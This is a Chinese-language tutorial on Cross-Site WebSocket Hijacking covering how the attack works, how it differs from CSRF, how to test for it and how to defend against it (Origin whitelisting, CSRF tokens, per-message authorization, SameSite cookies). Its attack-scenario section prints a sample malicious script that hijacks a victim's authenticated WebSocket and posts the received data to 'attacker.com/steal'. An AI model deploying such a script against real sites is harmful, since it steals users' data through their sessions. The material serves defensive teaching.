WebSockets中的跨站劫持(Cross-Site WebSocket Hijacking,CSWSH)漏洞与防护
一、知识点的描述
WebSockets中的跨站劫持(Cross-Site WebSocket Hijacking,简称CSWSH或CSWH)是一种结合了跨站请求伪造(CSRF)和WebSocket协议特性的安全漏洞。它允许攻击者诱导受害者浏览器在用户不知情的情况下,代表受害者与WebSocket服务器建立连接并进行恶意通信。由于WebSocket连接在建立时通常复用浏览器的认证上下文(如Cookie、HTTP认证头),且连接建立后的双向通信可能缺乏额外的授权检查,攻击者可以窃取敏感数据、执行未授权操作,或通过已建立的连接注入恶意消息,破坏应用程序的正常逻辑。
二、漏洞原理的深入剖析
-
WebSocket连接建立机制:
WebSocket协议通过HTTP/HTTPS协议“升级”而来。客户端发起一个包含Upgrade: websocket和Connection: Upgrade等特定头部的HTTP请求。如果服务器同意升级,则返回101 Switching Protocols响应,此后连接转为全双工的WebSocket通信。关键的漏洞在于:建立连接的初始HTTP请求会由浏览器自动携带与该目标域关联的所有Cookie(包括会话Cookie),类似于常规的AJAX请求。然而,与AJAX受同源策略(SOP)和CORS严格限制不同,WebSocket协议本身不受同源策略对“连接建立”阶段的约束。浏览器允许任何网页(包括恶意网站)向任意域发起WebSocket连接请求,并自动附加该域的Cookie。 -
攻击场景构建:
假设用户已登录一个使用WebSocket进行实时通信的Web应用(例如,在线聊天、股票交易仪表板、协作编辑工具)。该应用在wss://target-app.com上运行WebSocket服务。用户会话由CookiesessionId=abc123标识。此时,攻击者创建一个恶意网站,并嵌入类似以下的JavaScript代码:const ws = new WebSocket('wss://target-app.com/ws'); ws.onopen = () => { // 连接已建立,此时连接已通过受害者的会话Cookie认证 ws.send(JSON.stringify({action: 'getSensitiveData'})); }; ws.onmessage = (event) => { // 接收服务器返回的敏感数据,并将其发送到攻击者控制的服务器 fetch('https://attacker.com/steal', {method: 'POST', body: event.data}); };当受害者访问此恶意网站时,其浏览器会自动向
target-app.com发起WebSocket连接请求,并带上用户的会话CookiesessionId=abc123。服务器验证Cookie有效,便建立了经过认证的WebSocket连接。之后,恶意脚本可以通过该连接发送任意指令(如查询敏感信息、执行操作),并接收服务器的响应,从而完成劫持。 -
与CSRF的异同:
- 相同点:利用浏览器自动携带认证凭据的机制,在用户不知情下以用户身份发起请求。
- 不同点:
- 协议与持久性:CSRF针对的是单个HTTP请求(通常是状态更改请求),而CSWSH劫持的是一个持久、全双工的通信通道,攻击者可在连接存活期间持续进行交互。
- 数据窃取能力:传统CSRF通常无法直接读取响应(受SOP限制),但CSWSH通过
onmessage回调可以直接读取服务器推送的所有消息,信息泄露风险更高。 - 交互复杂性:CSWSH允许攻击者与服务器进行多轮、有状态的复杂交互,可能触发更复杂的业务逻辑漏洞。
三、漏洞的成因与关键风险点
- 缺乏Origin验证:服务器在WebSocket握手阶段,未验证或未严格验证
Origin或Sec-WebSocket-Origin请求头。此头部由浏览器自动设置,指示发起连接的网页来源。服务器应仅接受来自可信来源(如应用自身域名)的连接。 - 过度依赖Cookie认证:连接认证完全依赖于浏览器自动发送的Cookie,且连接建立后没有对每个消息进行会话验证或授权检查。
- 无CSRF令牌保护握手:WebSocket握手请求是标准的HTTP请求,但开发者常常忘记为其添加CSRF令牌验证,使其暴露于CSRF攻击之下。
- 敏感操作缺乏二次确认:通过WebSocket通道执行的敏感操作(如转账、更改设置、获取私密数据)未在应用层要求额外的确认(如密码、OTP),或未对客户端类型(是否为预期页面)进行校验。
四、漏洞的发现与验证步骤
- 识别WebSocket端点:使用浏览器开发者工具的“Network”选项卡,筛选
WS或WSS协议,找到应用程序建立的WebSocket连接及其URL(如wss://target.com/chat)。 - 检查握手请求:查看握手请求(HTTP 101之前的请求)的头部,确认是否包含
Cookie、Authorization等认证信息,并检查服务器是否验证了Origin或Sec-WebSocket-Origin头。 - 模拟跨域握手:
- 在攻击者控制的域(或本地HTML文件)上创建一个简单页面,包含JavaScript代码,尝试建立到目标WebSocket端点的连接。
- 使用
fetch或XMLHttpRequest模拟握手请求,观察是否能成功建立连接(返回101状态码)。
- 验证交互劫持:
- 如果连接建立成功,尝试通过该连接发送一些无害的探测消息(例如,查询公开信息、获取用户自身资料)。
- 监听
onmessage事件,检查是否能接收到服务器响应。 - 注意:此步骤应在授权的安全测试环境中进行,避免侵犯隐私或破坏服务。
- 检查消息级授权:尝试发送本应无权限执行的操作消息(例如,访问其他用户的数据、执行管理操作),观察服务器是否仅依赖连接身份而不做进一步授权检查。
五、防护与缓解策略(从握手到通信的纵深防御)
-
严格验证Origin头(最关键防线):
- 在服务器端WebSocket握手处理逻辑中,必须检查
Origin(或Sec-WebSocket-Origin)请求头的值。 - 维护一个允许的来源(Origin)白名单,通常应包括应用自身的所有合法域名和子域名(如
https://www.target.com,https://app.target.com)。对于移动端或桌面客户端,可能需要特殊处理。 - 示例(Node.js + ws库):
const WebSocket = require('ws'); const server = new WebSocket.Server({ port: 8080, verifyClient: (info, cb) => { const allowedOrigins = ['https://www.target.com', 'https://app.target.com']; if (allowedOrigins.includes(info.origin)) { cb(true); // 接受连接 } else { cb(false, 403, 'Forbidden'); // 拒绝连接 } }}); - 注意:
Origin头可以被恶意用户手动构造(例如通过桌面客户端、curl),因此它主要防御来自浏览器环境的跨站请求。服务器端应结合其他机制。
- 在服务器端WebSocket握手处理逻辑中,必须检查
-
使用CSRF令牌保护握手:
- 在渲染包含WebSocket连接代码的页面时,生成一个一次性、随机且与用户会话绑定的CSRF令牌。
- 将该令牌作为URL查询参数或自定义头部(如
X-CSRF-Token)添加到WebSocket连接请求中。 - 服务器在握手时,验证此令牌的有效性和匹配性。
- 示例:连接URL变为
wss://target.com/ws?csrfToken=随机令牌。服务器在verifyClient回调中解析并验证该令牌。
-
实现消息级认证与授权:
- 不要假设连接建立后的所有消息都来自合法用户。对于敏感操作,应在消息载荷中包含一个消息签名或会话令牌。
- 服务器处理每条消息时,都应验证其权限。例如,可以要求客户端在建立连接后首先发送一个“认证”消息,包含一个由页面JavaScript从Cookie或本地存储中读取并计算出的签名。
- 架构建议:将WebSocket连接视为一个“传输层”,在其之上构建一个应用层协议,该协议要求每个请求都包含一个经过验证的、有时效性的访问令牌(如JWT),并在服务器端对每个请求进行授权决策。
-
减少对Cookie的单一依赖:
- 考虑使用基于令牌(Token-Based)的认证。在页面加载时,通过一个受CSRF保护的API调用获取一个短期有效的WebSocket专用令牌,然后用该令牌建立连接(例如放在URL参数中)。这样,即使Cookie被CSRF利用,没有专用令牌也无法建立连接。
- 对于高度敏感的应用,可以使用双因素认证或在建立WebSocket连接前要求用户进行交互式确认。
-
实施同站Cookie(SameSite Cookies):
- 将会话Cookie标记为
SameSite=Strict或SameSite=Lax。这可以阻止浏览器在跨站请求(包括WebSocket握手)中自动发送这些Cookie,从而从根本上阻断CSWSH攻击。但需评估这对应用其他功能(如从第三方站点跳转登录)的影响。
- 将会话Cookie标记为
-
客户端防御(增强型):
- 在客户端JavaScript中,可以检查
document.domain或window.location.origin,确保WebSocket连接代码仅在预期的上下文中执行。但这容易被绕过,不能作为主要防御。 - 考虑使用子资源完整性(SRI) 和严格的内容安全策略(CSP),防止恶意脚本被注入到合法页面中发起攻击。
- 在客户端JavaScript中,可以检查
六、总结
CSWSH是一种严重但常被忽视的漏洞,它放大了CSRF的危害。防护的核心在于:在握手阶段严格验证Origin,并考虑引入CSRF令牌;在通信阶段实施消息级的认证与授权,杜绝“一次认证,全程通行”的假设。通过结合同站Cookie、令牌认证和细粒度的授权检查,可以构建起纵深防御体系,有效保护WebSocket通信的安全。在设计和评审使用WebSocket的实时Web应用时,必须将CSWSH列为关键威胁进行考量。